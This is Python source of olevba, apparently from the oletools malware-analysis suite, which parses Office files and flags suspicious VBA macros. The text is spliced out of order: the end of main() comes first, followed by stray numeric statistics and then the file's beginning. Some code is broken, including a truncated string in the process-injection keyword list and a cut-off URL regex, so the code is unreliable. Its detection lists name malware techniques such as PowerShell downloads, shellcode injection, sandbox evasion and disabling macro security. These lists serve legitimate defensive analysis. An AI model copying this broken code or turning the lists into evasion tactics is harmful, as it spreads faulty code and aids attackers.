print('%-12s %s - Failed to read from zip file %s' % ('?', filename, container)) elif options.output_mode != 'json': log.error('Exception opening/reading %r from zip file %r: %s' % (filename, container, data)) return_code = RETURN_XGLOB_ERR if return_code == 0 \ else RETURN_SEVERAL_ERRS if options.output_mode == 'json': print_json(file=filename, type='error', error=type(data).__name__, message=str(data)) continue if options.output_mode == 'triage': # print container name when it changes: if container != previous_container: if container is not None: print('\nFiles in %s:' % container) previous_container = container # process the file, handling errors and encryption curr_return_code = process_file(filename, data, container, options) count += 1 # adjust overall return code if curr_return_code == RETURN_OK: continue # do not modify overall return code if return_code == RETURN_OK: return_code = curr_return_code # first error return code else: return_code = RETURN_SEVERAL_ERRS # several errors if options.output_mode == 'triage': print('\n(Flags: OpX=OpenXML, XML=Word2003XML, FlX=FlatOPC XML, MHT=MHTML, TXT=Text, M=Macros, ' \ 'A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, ' \ 'B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)\n') if options.output_mode == 'json': # print last json entry (a last one without a comma) and closing ] print_json(type='MetaInformation', return_code=return_code, n_processed=count, _json_is_last=True) except crypto.CryptoErrorBase as exc: log.exception('Problems with encryption in main: {}'.format(exc), exc_info=True) if return_code == RETURN_OK: return_code = RETURN_ENCRYPTED else: return_code == RETURN_SEVERAL_ERRS except Exception as exc: # some unexpected error, maybe some of the types caught in except clauses # above were not sufficient. This is very bad, so log complete trace at exception level # and do not care about output mode log.exception('Unhandled exception in main: %s' % exc, exc_info=True) return_code = RETURN_UNEXPECTED # even if there were others before -- this is more important # TODO: print msg with URL to report issues (except in JSON mode) # done. exit log.debug('will exit now with code %s' % return_code) sys.exit(return_code) if __name__ == '__main__': main() # This was coded while listening to "Dust" from I Love You But I've Chosen Darkness
50.018843
337
0.611491
from __future__ import print_function ---------------------------------- import traceback import sys import os import logging import struct from io import BytesIO, StringIO import math import zipfile import re import argparse import binascii import base64 import zlib import email # for MHTML parsing import email.feedparser import string # for printable import json # for json output mode (argument --json) # import lxml or ElementTree for XML parsing: try: # lxml: best performance for XML processing import lxml.etree as ET except ImportError: try: # Python 2.5+: batteries included import xml.etree.cElementTree as ET except ImportError: try: # Python <2.5: standalone ElementTree install import elementtree.cElementTree as ET except ImportError: raise ImportError("lxml or ElementTree are not installed, " \ + "see http://codespeak.net/lxml " \ + "or http://effbot.org/zone/element-index.htm") import colorclass # On Windows, colorclass needs to be enabled: if os.name == 'nt': colorclass.Windows.enable(auto_colors=True) # IMPORTANT: it should be possible to run oletools directly as scripts # in any directory without installing them with pip or setup.py. # In that case, relative imports are NOT usable. # And to enable Python 2+3 compatibility, we need to use absolute imports, # so we add the oletools parent folder to sys.path (absolute+normalized path): _thismodule_dir = os.path.normpath(os.path.abspath(os.path.dirname(__file__))) # print('_thismodule_dir = %r' % _thismodule_dir) _parent_dir = os.path.normpath(os.path.join(_thismodule_dir, '..')) # print('_parent_dir = %r' % _thirdparty_dir) if _parent_dir not in sys.path: sys.path.insert(0, _parent_dir) import olefile from oletools.thirdparty.tablestream import tablestream from oletools.thirdparty.xglob import xglob, PathNotFoundException from pyparsing import \ CaselessKeyword, CaselessLiteral, Combine, Forward, Literal, \ Optional, QuotedString,Regex, Suppress, Word, WordStart, \ alphanums, alphas, hexnums,nums, opAssoc, srange, \ infixNotation, ParserElement from oletools import ppt_parser from oletools import oleform from oletools import rtfobj from oletools import crypto from oletools.common.io_encoding import ensure_stdout_handles_unicode from oletools.common import codepages # === PYTHON 2+3 SUPPORT ====================================================== if sys.version_info[0] <= 2: # Python 2.x PYTHON2 = True # to use ord on bytes/bytearray items the same way in Python 2+3 # on Python 2, just use the normal ord() because items are bytes byte_ord = ord #: Default string encoding for the olevba API DEFAULT_API_ENCODING = 'utf8' # on Python 2: UTF-8 (bytes) else: # Python 3.x+ PYTHON2 = False # to use ord on bytes/bytearray items the same way in Python 2+3 # on Python 3, items are int, so just return the item def byte_ord(x): return x # xrange is now called range: xrange = range # unichr does not exist anymore, only chr: unichr = chr # json2ascii also needs "unicode": unicode = str from functools import reduce #: Default string encoding for the olevba API DEFAULT_API_ENCODING = None # on Python 3: None (unicode) # Python 3.0 - 3.4 support: # From https://gist.github.com/ynkdir/867347/c5e188a4886bc2dd71876c7e069a7b00b6c16c61 if sys.version_info < (3, 5): import codecs _backslashreplace_errors = codecs.lookup_error("backslashreplace") def backslashreplace_errors(exc): if isinstance(exc, UnicodeDecodeError): u = "".join("\\x{0:02x}".format(c) for c in exc.object[exc.start:exc.end]) return u, exc.end return _backslashreplace_errors(exc) codecs.register_error("backslashreplace", backslashreplace_errors) def unicode2str(unicode_string): if PYTHON2: return unicode_string.encode('utf8', errors='replace') else: return unicode_string def bytes2str(bytes_string, encoding='utf8'): if PYTHON2: return bytes_string else: return bytes_string.decode(encoding, errors='replace') # === LOGGING ================================================================= def get_logger(name, level=logging.CRITICAL+1): # First, test if there is already a logger with the same name, else it # will generate duplicate messages (due to duplicate handlers): if name in logging.Logger.manager.loggerDict: # NOTE: another less intrusive but more "hackish" solution would be to # use getLogger then test if its effective level is not default. logger = logging.getLogger(name) # make sure level is OK: logger.setLevel(level) return logger # get a new logger: logger = logging.getLogger(name) # only add a NullHandler for this logger, it is up to the application # to configure its own logging: logger.addHandler(logging.NullHandler()) logger.setLevel(level) return logger # a global logger object used for debugging: log = get_logger('olevba') def enable_logging(): log.setLevel(logging.NOTSET) # Also enable logging in the ppt_parser module: ppt_parser.enable_logging() crypto.enable_logging() #=== EXCEPTIONS ============================================================== class OlevbaBaseException(Exception): def __init__(self, msg, filename=None, orig_exc=None, **kwargs): if orig_exc: super(OlevbaBaseException, self).__init__(msg + ' ({0})'.format(orig_exc), **kwargs) else: super(OlevbaBaseException, self).__init__(msg, **kwargs) self.msg = msg self.filename = filename self.orig_exc = orig_exc class FileOpenError(OlevbaBaseException): def __init__(self, filename, orig_exc=None): super(FileOpenError, self).__init__( 'Failed to open file %s' % filename, filename, orig_exc) class ProcessingError(OlevbaBaseException): def __init__(self, filename, orig_exc): super(ProcessingError, self).__init__( 'Error processing file %s' % filename, filename, orig_exc) class MsoExtractionError(RuntimeError, OlevbaBaseException): def __init__(self, msg): MsoExtractionError.__init__(self, msg) OlevbaBaseException.__init__(self, msg) class SubstreamOpenError(FileOpenError): def __init__(self, filename, subfilename, orig_exc=None): super(SubstreamOpenError, self).__init__( str(filename) + '/' + str(subfilename), orig_exc) self.filename = filename # overwrite setting in OlevbaBaseException self.subfilename = subfilename class UnexpectedDataError(OlevbaBaseException): def __init__(self, stream_path, variable, expected, value): if isinstance(expected, int): es = '{0:04X}'.format(expected) elif isinstance(expected, tuple): es = ','.join('{0:04X}'.format(e) for e in expected) es = '({0})'.format(es) else: raise ValueError('Unknown type encountered: {0}'.format(type(expected))) super(UnexpectedDataError, self).__init__( 'Unexpected value in {0} for variable {1}: ' 'expected {2} but found {3:04X}!' .format(stream_path, variable, es, value)) self.stream_path = stream_path self.variable = variable self.expected = expected self.value = value #--- CONSTANTS ---------------------------------------------------------------- # return codes RETURN_OK = 0 RETURN_WARNINGS = 1 # (reserved, not used yet) RETURN_WRONG_ARGS = 2 # (fixed, built into argparse) RETURN_FILE_NOT_FOUND = 3 RETURN_XGLOB_ERR = 4 RETURN_OPEN_ERROR = 5 RETURN_PARSE_ERROR = 6 RETURN_SEVERAL_ERRS = 7 RETURN_UNEXPECTED = 8 RETURN_ENCRYPTED = 9 # MAC codepages (from http://stackoverflow.com/questions/1592925/decoding-mac-os-text-in-python) MAC_CODEPAGES = { 10000: 'mac-roman', 10001: 'shiftjis', # not found: 'mac-shift-jis', 10003: 'ascii', # nothing appropriate found: 'mac-hangul', 10008: 'gb2321', # not found: 'mac-gb2312', 10002: 'big5', # not found: 'mac-big5', 10005: 'hebrew', # not found: 'mac-hebrew', 10004: 'mac-arabic', 10006: 'mac-greek', 10081: 'mac-turkish', 10021: 'thai', # not found: mac-thai', 10029: 'maccentraleurope', 10007: 'ascii', } URL_OLEVBA_ISSUES = 'https://github.com/decalage2/oletools/issues' MSG_OLEVBA_ISSUES = 'Please report this issue on %s' % URL_OLEVBA_ISSUES TYPE_OLE = 'OLE' TYPE_OpenXML = 'OpenXML' TYPE_FlatOPC_XML = 'FlatOPC_XML' TYPE_Word2003_XML = 'Word2003_XML' TYPE_MHTML = 'MHTML' TYPE_TEXT = 'Text' TYPE_PPT = 'PPT' TYPE_SLK = 'SLK' TYPE2TAG = { TYPE_OLE: 'OLE:', TYPE_OpenXML: 'OpX:', TYPE_FlatOPC_XML: 'FlX:', TYPE_Word2003_XML: 'XML:', TYPE_MHTML: 'MHT:', TYPE_TEXT: 'TXT:', TYPE_PPT: 'PPT:', TYPE_SLK: 'SLK:', } MSO_ACTIVEMIME_HEADER = b'ActiveMime' MODULE_EXTENSION = "bas" CLASS_EXTENSION = "cls" FORM_EXTENSION = "frm" NS_W = '{http://schemas.microsoft.com/office/word/2003/wordml}' TAG_BINDATA = NS_W + 'binData' ATTR_NAME = NS_W + 'name' NS_XMLPACKAGE = '{http://schemas.microsoft.com/office/2006/xmlPackage}' TAG_PACKAGE = NS_XMLPACKAGE + 'package' TAG_PKGPART = NS_XMLPACKAGE + 'part' ATTR_PKG_NAME = NS_XMLPACKAGE + 'name' ATTR_PKG_CONTENTTYPE = NS_XMLPACKAGE + 'contentType' CTYPE_VBAPROJECT = "application/vnd.ms-office.vbaProject" TAG_PKGBINDATA = NS_XMLPACKAGE + 'binaryData' AUTOEXEC_KEYWORDS = { 'Runs when the Word document is opened': ('AutoExec', 'AutoOpen', 'DocumentOpen'), 'Runs when the Word document is closed': ('AutoExit', 'AutoClose', 'Document_Close', 'DocumentBeforeClose'), 'Runs when the Word document is modified': ('DocumentChange',), 'Runs when a new Word document is created': ('AutoNew', 'Document_New', 'NewDocument'), 'Runs when the Word or Publisher document is opened': ('Document_Open',), 'Runs when the Publisher document is closed': ('Document_BeforeClose',), 'Runs when the Excel Workbook is opened': ('Auto_Open', 'Workbook_Open', 'Workbook_Activate', 'Auto_Ope'), 'Runs when the Excel Workbook is closed': ('Auto_Close', 'Workbook_Close'), 'May run when an Excel WorkSheet is opened': ('Worksheet_Calculate',), } AUTOEXEC_KEYWORDS_REGEX = { 'Runs when the file is opened (using InkPicture ActiveX object)': (r'\w+_Painted', r'\w+_Painting'), 'Runs when the file is opened and ActiveX objects trigger events': (r'\w+_GotFocus', r'\w+_LostFocus', r'\w+_MouseHover', r'\w+_Click', r'\w+_Change', r'\w+_Resize', r'\w+_BeforeNavigate2', r'\w+_BeforeScriptExecute', r'\w+_DocumentComplete', r'\w+_DownloadBegin', r'\w+_DownloadComplete', r'\w+_FileDownload', r'\w+_NavigateComplete2', r'\w+_NavigateError', r'\w+_ProgressChange', r'\w+_PropertyChange', r'\w+_SetSecureLockIcon', r'\w+_StatusTextChange', r'\w+_TitleChange', r'\w+_MouseMove', r'\w+_MouseEnter', r'\w+_MouseLeave', r'\w+_Layout', r'\w+_OnConnecting', r'\w+_FollowHyperlink', r'\w+_ContentControlOnEnter'), } SUSPICIOUS_KEYWORDS = { 'May read system environment variables': ('Environ','Win32_Environment','Environment','ExpandEnvironmentStrings','HKCU\\Environment', 'HKEY_CURRENT_USER\\Environment'), 'May open a file': ('Open',), 'May write to a file (if combined with Open)': ('Write', 'Put', 'Output', 'Print #'), 'May read or write a binary file (if combined with Open)': ('Binary',), 'May copy a file': ('FileCopy', 'CopyFile','CopyHere','CopyFolder'), 'May move a file': ('MoveHere', 'MoveFile', 'MoveFolder'), 'May delete a file': ('Kill',), 'May create a text file': ('CreateTextFile', 'ADODB.Stream', 'WriteText', 'SaveToFile'), 'May run an executable file or a system command': ('Shell', 'vbNormal', 'vbNormalFocus', 'vbHide', 'vbMinimizedFocus', 'vbMaximizedFocus', 'vbNormalNoFocus', 'vbMinimizedNoFocus', 'WScript.Shell', 'Run', 'ShellExecute', 'ShellExecuteA', 'shell32','InvokeVerb','InvokeVerbEx', 'DoIt'), 'May run a dll': ('ControlPanelItem',), 'May execute file or a system command through WMI': ('Create',), 'May run an executable file or a system command on a Mac': ('MacScript','AppleScript'), 'May run PowerShell commands': ('PowerShell', 'noexit', 'ExecutionPolicy', 'noprofile', 'command', 'EncodedCommand', 'invoke-command', 'scriptblock', 'Invoke-Expression', 'AuthorizationManager'), 'May run an executable file or a system command using PowerShell': ('Start-Process',), 'May call a DLL using Excel 4 Macros (XLM/XLF)': ('CALL',), 'May hide the application': ('Application.Visible', 'ShowWindow', 'SW_HIDE'), 'May create a directory': ('MkDir',), 'May save the current workbook': ('ActiveWorkbook.SaveAs',), 'May change which directory contains files to open at startup': ('Application.AltStartupPath',), 'May create an OLE object': ('CreateObject',), 'May get an OLE object with a running instance': ('GetObject',), 'May create an OLE object using PowerShell': ('New-Object',), 'May run an application (if combined with CreateObject)': ('Shell.Application',), 'May run an Excel 4 Macro (aka XLM/XLF) from VBA': ('ExecuteExcel4Macro',), 'May enumerate application windows (if combined with Shell.Application object)': ('Windows', 'FindWindow'), 'May run code from a DLL': ('Lib',), 'May run code from a library on a Mac': ('libc.dylib', 'dylib'), 'May inject code into another process': ('CreateThread', 'CreateUserThread', 'VirtualAlloc', rocessMemory', 'SetContextThread', 'QueueApcThread', 'WriteVirtualMemory', 'VirtualProtect', ), 'May run a shellcode in memory': ('SetTimer', ), 'May download files from the Internet': ('URLDownloadToFileA', 'Msxml2.XMLHTTP', 'Microsoft.XMLHTTP', 'MSXML2.ServerXMLHTTP', 'User-Agent', ), 'May download files from the Internet using PowerShell': ('Net.WebClient', 'DownloadFile', 'DownloadString'), 'May control another application by simulating user keystrokes': ('SendKeys', 'AppActivate'), 'May attempt to obfuscate malicious function calls': ('CallByName',), 'May attempt to obfuscate specific strings (use option --deobf to deobfuscate)': ('Chr', 'ChrB', 'ChrW', 'StrReverse', 'Xor'), 'May read or write registry keys': ('RegOpenKeyExA', 'RegOpenKeyEx', 'RegCloseKey'), 'May read registry keys': ('RegQueryValueExA', 'RegQueryValueEx', 'RegRead', ), 'May detect virtualization': (r'SYSTEM\ControlSet001\Services\Disk\Enum', 'VIRTUAL', 'VMWARE', 'VBOX'), 'May detect Anubis Sandbox': ('GetVolumeInformationA', 'GetVolumeInformation', '1824245000', r'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId', '76487-337-8429955-22614', 'andy', 'sample', r'C:\exec\exec.exe', 'popupkiller' ), 'May detect Sandboxie': ('SbieDll.dll', 'SandboxieControlWndClass'), 'May detect Sunbelt Sandbox': (r'C:\file.exe',), 'May detect Norman Sandbox': ('currentuser',), 'May detect CW Sandbox': ('Schmidti',), 'May detect WinJail Sandbox': ('Afx:400000:0',), 'May attempt to disable VBA macro security and Protected View': ('AccessVBOM', 'VBAWarnings', 'ProtectedView', 'DisableAttachementsInPV', 'DisableInternetFilesInPV', 'DisableUnsafeLocationsInPV', 'blockcontentexecutionfrominternet'), 'May attempt to modify the VBA code (self-modification)': ('VBProject', 'VBComponents', 'CodeModule', 'AddFromString'), 'May modify Excel 4 Macro formulas at runtime (XLM/XLF)': ('FORMULA.FILL',), } SUSPICIOUS_KEYWORDS_REGEX = { 'May use Word Document Variables to store and hide data': (r'\.\s*Variables',), 'May run a shellcode in memory': (r'EnumSystemLanguageGroupsW?', r'EnumDateFormats(?:W|(?:Ex){1,2})?', ), 'May run an executable file or a system command on a Mac (if combined with libc.dylib)': ('system', 'popen', r'exec[lv][ep]?'), 'May run an executable file or a system command using Excel 4 Macros (XLM/XLF)': (r'(?<!Could contain following functions: )EXEC',), 'Could contain a function that allows to run an executable file or a system command using Excel 4 Macros (XLM/XLF)': (r'Could contain following functions: EXEC',), 'May call a DLL using Excel 4 Macros (XLM/XLF)': (r'(?<!Could contain following functions: )REGISTER',), 'Could contain a function that allows to call a DLL using Excel 4 Macros (XLM/XLF)': (r'Could contain following functions: REGISTER',), } SUSPICIOUS_KEYWORDS_NOREGEX = { 'May use special characters such as backspace to obfuscate code when printed on the console': ('\b',), } SCHEME = r'\b(?:http|ftp)s?' TLD = r'(?:xn--[a-zA-Z0-9]{4,20}|[a-zA-Z]{2,20})' DNS_NAME = r'(?:[a-zA-Z0-9\-\.]+\.' + TLD + ')' NUMBER_0_255 = r'(?:25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9][0-9]|[0-9])' IPv4 = r'(?:' + NUMBER_0_255 + r'\.){3}' + NUMBER_0_255 SERVER = r'(?:' + IPv4 + '|' + DNS_NAME + ')' PORT = r'(?:\:[0-9]{1,5})?' SERVER_PORT = SERVER + PORT URL_PATH = r'(?:/[a-zA-Z0-9\-\._\?\,\'/\\\+&%\$ URL_RE = SCHEME + r'\://' + SERVER_PORT + URL_PATH re_url = re.compile(URL_RE) EXCLUDE_URLS_PATTERNS = ["http://schemas.openxmlformats.org/", "http://schemas.microsoft.com/", ] # Patterns to be extracted (IP addresses, URLs, etc) # From patterns.py in balbuzard RE_PATTERNS = ( ('URL', re.compile(URL_RE)), ('IPv4 address', re.compile(IPv4)), # TODO: add IPv6 ('E-mail address', re.compile(r'(?i)\b[A-Z0-9._%+-]+@' + SERVER + '\b')), # ('Domain name', re.compile(r'(?=^.{1,254}$)(^(?:(?!\d+\.|-)[a-zA-Z0-9_\-]{1,63}(?<!-)\.?)+(?:[a-zA-Z]{2,})$)')), # Executable file name with known extensions (except .com which is present in many URLs, and .application): ("Executable file name", re.compile( r"(?i)\b\w+\.(EXE|PIF|GADGET|MSI|MSP|MSC|VBS|VBE|VB|JSE|JS|WSF|WSC|WSH|WS|BAT|CMD|DLL|SCR|HTA|CPL|CLASS|JAR|PS1XML|PS1|PS2XML|PS2|PSC1|PSC2|SCF|LNK|INF|REG)\b")), # Sources: http://www.howtogeek.com/137270/50-file-extensions-that-are-potentially-dangerous-on-windows/ # TODO: https://support.office.com/en-us/article/Blocked-attachments-in-Outlook-3811cddc-17c3-4279-a30c-060ba0207372#__attachment_file_types # TODO: add win & unix file paths #('Hex string', re.compile(r'(?:[0-9A-Fa-f]{2}){4,}')), ) # regex to detect strings encoded in hexadecimal re_hex_string = re.compile(r'(?:[0-9A-Fa-f]{2}){4,}') # regex to detect strings encoded in base64 #re_base64_string = re.compile(r'"(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?"') # better version from balbuzard, less false positives: # (plain version without double quotes, used also below in quoted_base64_string) BASE64_RE = r'(?:[A-Za-z0-9+/]{4}){1,}(?:[A-Za-z0-9+/]{2}[AEIMQUYcgkosw048]=|[A-Za-z0-9+/][AQgw]==)?' re_base64_string = re.compile('"' + BASE64_RE + '"') # white list of common strings matching the base64 regex, but which are not base64 strings (all lowercase): BASE64_WHITELIST = set(['thisdocument', 'thisworkbook', 'test', 'temp', 'http', 'open', 'exit', 'kernel32', 'virtualalloc', 'createthread']) # regex to detect strings encoded with a specific Dridex algorithm # (see https://github.com/JamesHabben/MalwareStuff) re_dridex_string = re.compile(r'"[0-9A-Za-z]{20,}"') # regex to check that it is not just a hex string: re_nothex_check = re.compile(r'[G-Zg-z]') # regex to extract printable strings (at least 5 chars) from VBA Forms: # (must be bytes for Python 3) re_printable_string = re.compile(b'[\\t\\r\\n\\x20-\\xFF]{5,}') # === PARTIAL VBA GRAMMAR ==================================================== # REFERENCES: # - [MS-VBAL]: VBA Language Specification # https://msdn.microsoft.com/en-us/library/dd361851.aspx # - pyparsing: http://pyparsing.wikispaces.com/ # TODO: set whitespaces according to VBA # TODO: merge extended lines before parsing # Enable PackRat for better performance: # (see https://pythonhosted.org/pyparsing/pyparsing.ParserElement-class.html#enablePackrat) ParserElement.enablePackrat() # VBA identifier chars (from MS-VBAL 3.3.5) vba_identifier_chars = alphanums + '_' class VbaExpressionString(str): # TODO: use Unicode everywhere instead of str pass # --- NUMBER TOKENS ---------------------------------------------------------- # 3.3.2 Number Tokens # INTEGER = integer-literal ["%" / "&" / "^"] # integer-literal = decimal-literal / octal-literal / hex-literal # decimal-literal = 1*decimal-digit # octal-literal = "&" [%x004F / %x006F] 1*octal-digit # ; & or &o or &O # hex-literal = "&" (%x0048 / %x0068) 1*hex-digit # ; &h or &H # octal-digit = "0" / "1" / "2" / "3" / "4" / "5" / "6" / "7" # decimal-digit = octal-digit / "8" / "9" # hex-digit = decimal-digit / %x0041-0046 / %x0061-0066 ;A-F / a-f # NOTE: here Combine() is required to avoid spaces between elements # NOTE: here WordStart is necessary to avoid matching a number preceded by # letters or underscore (e.g. "VBT1" or "ABC_34"), when using scanString decimal_literal = Combine(Optional('-') + WordStart(vba_identifier_chars) + Word(nums) + Suppress(Optional(Word('%&^', exact=1)))) decimal_literal.setParseAction(lambda t: int(t[0])) octal_literal = Combine(Suppress(Literal('&') + Optional((CaselessLiteral('o')))) + Word(srange('[0-7]')) + Suppress(Optional(Word('%&^', exact=1)))) octal_literal.setParseAction(lambda t: int(t[0], base=8)) hex_literal = Combine(Suppress(CaselessLiteral('&h')) + Word(srange('[0-9a-fA-F]')) + Suppress(Optional(Word('%&^', exact=1)))) hex_literal.setParseAction(lambda t: int(t[0], base=16)) integer = decimal_literal | octal_literal | hex_literal # --- QUOTED STRINGS --------------------------------------------------------- # 3.3.4 String Tokens # STRING = double-quote *string-character (double-quote / line-continuation / LINE-END) # double-quote = %x0022 ; " # string-character = NO-LINE-CONTINUATION ((double-quote double-quote) termination-character) quoted_string = QuotedString('"', escQuote='""') quoted_string.setParseAction(lambda t: str(t[0])) #--- VBA Expressions --------------------------------------------------------- # See MS-VBAL 5.6 Expressions # need to pre-declare using Forward() because it is recursive # VBA string expression and integer expression vba_expr_str = Forward() vba_expr_int = Forward() # --- CHR -------------------------------------------------------------------- # MS-VBAL 6.1.2.11.1.4 Chr / Chr$ # Function Chr(CharCode As Long) As Variant # Function Chr$(CharCode As Long) As String # Parameter Description # CharCode Long whose value is a code point. # Returns a String data value consisting of a single character containing the character whose code # point is the data value of the argument. # - If the argument is not in the range 0 to 255, Error Number 5 ("Invalid procedure call or # argument") is raised unless the implementation supports a character set with a larger code point # range. # - If the argument value is in the range of 0 to 127, it is interpreted as a 7-bit ASCII code point. # - If the argument value is in the range of 128 to 255, the code point interpretation of the value is # implementation defined. # - Chr$ has the same runtime semantics as Chr, however the declared type of its function result is # String rather than Variant. # 6.1.2.11.1.5 ChrB / ChrB$ # Function ChrB(CharCode As Long) As Variant # Function ChrB$(CharCode As Long) As String # CharCode Long whose value is a code point. # Returns a String data value consisting of a single byte character whose code point value is the # data value of the argument. # - If the argument is not in the range 0 to 255, Error Number 6 ("Overflow") is raised. # - ChrB$ has the same runtime semantics as ChrB however the declared type of its function result # is String rather than Variant. # - Note: the ChrB function is used with byte data contained in a String. Instead of returning a # character, which may be one or two bytes, ChrB always returns a single byte. The ChrW function # returns a String containing the Unicode character except on platforms where Unicode is not # supported, in which case, the behavior is identical to the Chr function. # 6.1.2.11.1.6 ChrW/ ChrW$ # Function ChrW(CharCode As Long) As Variant # Function ChrW$(CharCode As Long) As String # CharCode Long whose value is a code point. # Returns a String data value consisting of a single character containing the character whose code # point is the data value of the argument. # - If the argument is not in the range -32,767 to 65,535 then Error Number 5 ("Invalid procedure # call or argument") is raised. # - If the argument is a negative value it is treated as if it was the value: CharCode + 65,536. # - If the implemented uses 16-bit Unicode code points argument, data value is interpreted as a 16- # bit Unicode code point. # - If the implementation does not support Unicode, ChrW has the same semantics as Chr. # - ChrW$ has the same runtime semantics as ChrW, however the declared type of its function result # is String rather than Variant. # Chr, Chr$, ChrB, ChrW(int) => char vba_chr = Suppress( Combine(WordStart(vba_identifier_chars) + CaselessLiteral('Chr') + Optional(CaselessLiteral('B') | CaselessLiteral('W')) + Optional('$')) + '(') + vba_expr_int + Suppress(')') def vba_chr_tostr(t): try: i = t[0] if i>=0 and i<=255: # normal, non-unicode character: # TODO: check if it needs to be converted to bytes for Python 3 return VbaExpressionString(chr(i)) else: # unicode character # Note: this distinction is only needed for Python 2 return VbaExpressionString(unichr(i).encode('utf-8', 'backslashreplace')) except ValueError: log.exception('ERROR: incorrect parameter value for chr(): %r' % i) return VbaExpressionString('Chr(%r)' % i) vba_chr.setParseAction(vba_chr_tostr) # --- ASC -------------------------------------------------------------------- # Asc(char) => int #TODO: see MS-VBAL 6.1.2.11.1.1 page 240 => AscB, AscW vba_asc = Suppress(CaselessKeyword('Asc') + '(') + vba_expr_str + Suppress(')') vba_asc.setParseAction(lambda t: ord(t[0])) # --- VAL -------------------------------------------------------------------- # Val(string) => int # TODO: make sure the behavior of VBA's val is fully covered vba_val = Suppress(CaselessKeyword('Val') + '(') + vba_expr_str + Suppress(')') vba_val.setParseAction(lambda t: int(t[0].strip())) # --- StrReverse() -------------------------------------------------------------------- # StrReverse(string) => string strReverse = Suppress(CaselessKeyword('StrReverse') + '(') + vba_expr_str + Suppress(')') strReverse.setParseAction(lambda t: VbaExpressionString(str(t[0])[::-1])) # --- ENVIRON() -------------------------------------------------------------------- # Environ("name") => just translated to "%name%", that is enough for malware analysis environ = Suppress(CaselessKeyword('Environ') + '(') + vba_expr_str + Suppress(')') environ.setParseAction(lambda t: VbaExpressionString('%%%s%%' % t[0])) # --- IDENTIFIER ------------------------------------------------------------- #TODO: see MS-VBAL 3.3.5 page 33 # 3.3.5 Identifier Tokens # Latin-identifier = first-Latin-identifier-character *subsequent-Latin-identifier-character # first-Latin-identifier-character = (%x0041-005A / %x0061-007A) ; A-Z / a-z # subsequent-Latin-identifier-character = first-Latin-identifier-character / DIGIT / %x5F ; underscore latin_identifier = Word(initChars=alphas, bodyChars=alphanums + '_') # --- HEX FUNCTION ----------------------------------------------------------- # match any custom function name with a hex string as argument: # TODO: accept vba_expr_str_item as argument, check if it is a hex or base64 string at runtime # quoted string of at least two hexadecimal numbers of two digits: quoted_hex_string = Suppress('"') + Combine(Word(hexnums, exact=2) * (2, None)) + Suppress('"') quoted_hex_string.setParseAction(lambda t: str(t[0])) hex_function_call = Suppress(latin_identifier) + Suppress('(') + \ quoted_hex_string('hex_string') + Suppress(')') hex_function_call.setParseAction(lambda t: VbaExpressionString(binascii.a2b_hex(t.hex_string))) # --- BASE64 FUNCTION ----------------------------------------------------------- # match any custom function name with a Base64 string as argument: # TODO: accept vba_expr_str_item as argument, check if it is a hex or base64 string at runtime # quoted string of at least two hexadecimal numbers of two digits: quoted_base64_string = Suppress('"') + Regex(BASE64_RE) + Suppress('"') quoted_base64_string.setParseAction(lambda t: str(t[0])) base64_function_call = Suppress(latin_identifier) + Suppress('(') + \ quoted_base64_string('base64_string') + Suppress(')') base64_function_call.setParseAction(lambda t: VbaExpressionString(binascii.a2b_base64(t.base64_string))) # ---STRING EXPRESSION ------------------------------------------------------- def concat_strings_list(tokens): # extract argument from the tokens: # expected to be a tuple containing a list of strings such as [a,'&',b,'&',c,...] strings = tokens[0][::2] return VbaExpressionString(''.join(strings)) vba_expr_str_item = (vba_chr | strReverse | environ | quoted_string | hex_function_call | base64_function_call) vba_expr_str <<= infixNotation(vba_expr_str_item, [ ("+", 2, opAssoc.LEFT, concat_strings_list), ("&", 2, opAssoc.LEFT, concat_strings_list), ]) # --- INTEGER EXPRESSION ------------------------------------------------------- def sum_ints_list(tokens): # extract argument from the tokens: # expected to be a tuple containing a list of integers such as [a,'&',b,'&',c,...] integers = tokens[0][::2] return sum(integers) def subtract_ints_list(tokens): # extract argument from the tokens: # expected to be a tuple containing a list of integers such as [a,'&',b,'&',c,...] integers = tokens[0][::2] return reduce(lambda x,y:x-y, integers) def multiply_ints_list(tokens): # extract argument from the tokens: # expected to be a tuple containing a list of integers such as [a,'&',b,'&',c,...] integers = tokens[0][::2] return reduce(lambda x,y:x*y, integers) def divide_ints_list(tokens): # extract argument from the tokens: # expected to be a tuple containing a list of integers such as [a,'&',b,'&',c,...] integers = tokens[0][::2] return reduce(lambda x,y:x/y, integers) vba_expr_int_item = (vba_asc | vba_val | integer) # operators associativity: # https://en.wikipedia.org/wiki/Operator_associativity vba_expr_int <<= infixNotation(vba_expr_int_item, [ ("*", 2, opAssoc.LEFT, multiply_ints_list), ("/", 2, opAssoc.LEFT, divide_ints_list), ("-", 2, opAssoc.LEFT, subtract_ints_list), ("+", 2, opAssoc.LEFT, sum_ints_list), ]) # see detect_vba_strings for the deobfuscation code using this grammar # === MSO/ActiveMime files parsing =========================================== def is_mso_file(data): return data.startswith(MSO_ACTIVEMIME_HEADER) # regex to find zlib block headers, starting with byte 0x78 = 'x' re_zlib_header = re.compile(r'x') def mso_file_extract(data): # check the magic: assert is_mso_file(data) # In all the samples seen so far, Word always uses an offset of 0x32, # and Excel 0x22A. But we read the offset from the header to be more # generic. offsets = [0x32, 0x22A] # First, attempt to get the compressed data offset from the header # According to my tests, it should be an unsigned 16 bits integer, # at offset 0x1E (little endian) + add 46: try: offset = struct.unpack_from('<H', data, offset=0x1E)[0] + 46 log.debug('Parsing MSO file: data offset = 0x%X' % offset) offsets.insert(0, offset) # insert at beginning of offsets except struct.error as exc: log.info('Unable to parse MSO/ActiveMime file header (%s)' % exc) log.debug('Trace:', exc_info=True) raise MsoExtractionError('Unable to parse MSO/ActiveMime file header') # now try offsets for start in offsets: try: log.debug('Attempting zlib decompression from MSO file offset 0x%X' % start) extracted_data = zlib.decompress(data[start:]) return extracted_data except zlib.error as exc: log.info('zlib decompression failed for offset %s (%s)' % (start, exc)) log.debug('Trace:', exc_info=True) # None of the guessed offsets worked, let's try brute-forcing by looking # for potential zlib-compressed blocks starting with 0x78: log.debug('Looking for potential zlib-compressed blocks in MSO file') for match in re_zlib_header.finditer(data): start = match.start() try: log.debug('Attempting zlib decompression from MSO file offset 0x%X' % start) extracted_data = 